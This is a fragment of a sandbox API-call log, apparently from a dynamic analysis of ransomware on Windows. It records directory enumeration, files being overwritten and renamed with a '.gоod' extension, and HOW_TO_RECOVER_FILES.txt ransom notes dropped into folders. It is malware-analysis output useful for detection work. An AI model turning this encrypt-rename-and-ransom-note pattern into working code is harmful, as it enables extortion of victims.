ftLastWriteTime.dwLowDateTime=0x43d206cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0120.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0120.131] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml.gоod")) returned 1 [0120.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0120.131] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", lpFilePart=0x0) returned 0x51 [0120.131] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0120.132] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.132] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0120.133] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0120.133] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0120.133] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0120.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0120.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0120.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0120.133] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", lpFilePart=0x0) returned 0x51 [0120.133] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0120.133] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.133] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0120.133] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0120.134] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0120.134] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0120.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0120.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0120.134] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0120.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0120.134] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x34fe118 | out: lpFileInformation=0x34fe118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102)) returned 1 [0120.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0120.134] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0120.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0120.134] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.134] GetFileType (hFile=0x6e0) returned 0x1 [0120.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0120.135] GetFileType (hFile=0x6e0) returned 0x1 [0120.135] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x102 [0120.135] ReadFile (in: hFile=0x6e0, lpBuffer=0x34fe518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x34fe518*, lpNumberOfBytesRead=0x1f59dd38*=0x102, lpOverlapped=0x0) returned 1 [0120.500] CloseHandle (hObject=0x6e0) returned 1 [0121.644] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0121.644] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.646] GetFileType (hFile=0x7dc) returned 0x1 [0121.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0121.646] GetFileType (hFile=0x7dc) returned 0x1 [0121.646] WriteFile (in: hFile=0x7dc, lpBuffer=0x34a2950*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x34a2950*, lpNumberOfBytesWritten=0x1f59dc48*=0x110, lpOverlapped=0x0) returned 1 [0121.647] CloseHandle (hObject=0x7dc) returned 1 [0121.647] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0121.647] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0121.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0121.647] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44b94adc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0121.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0121.647] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml.gоod")) returned 1 [0121.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0121.648] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0121.648] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.648] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.648] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0121.648] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.648] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0121.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0121.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0121.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0121.649] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0121.649] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.649] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0121.649] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0121.649] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0121.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0121.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0121.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0121.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0121.649] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0121.650] GetFileType (hFile=0x7dc) returned 0x1 [0121.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0121.650] GetFileType (hFile=0x7dc) returned 0x1 [0121.650] WriteFile (in: hFile=0x7dc, lpBuffer=0x34b4880*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x34b4880*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0121.651] CloseHandle (hObject=0x7dc) returned 1 [0121.651] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0121.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0121.652] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0121.652] GetFileType (hFile=0x7dc) returned 0x1 [0121.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0121.652] GetFileType (hFile=0x7dc) returned 0x1 [0121.652] WriteFile (in: hFile=0x7dc, lpBuffer=0x34b8178*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x34b8178*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0121.653] CloseHandle (hObject=0x7dc) returned 1 [0121.653] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0121.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0121.653] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0122.214] GetFileType (hFile=0x768) returned 0x1 [0122.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0122.214] GetFileType (hFile=0x768) returned 0x1 [0122.351] WriteFile (in: hFile=0x768, lpBuffer=0x34c93a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x34c93a8*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0122.352] CloseHandle (hObject=0x768) returned 1 [0122.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0122.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\Download", lpFilePart=0x0) returned 0x2e [0122.353] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Download\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.354] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, 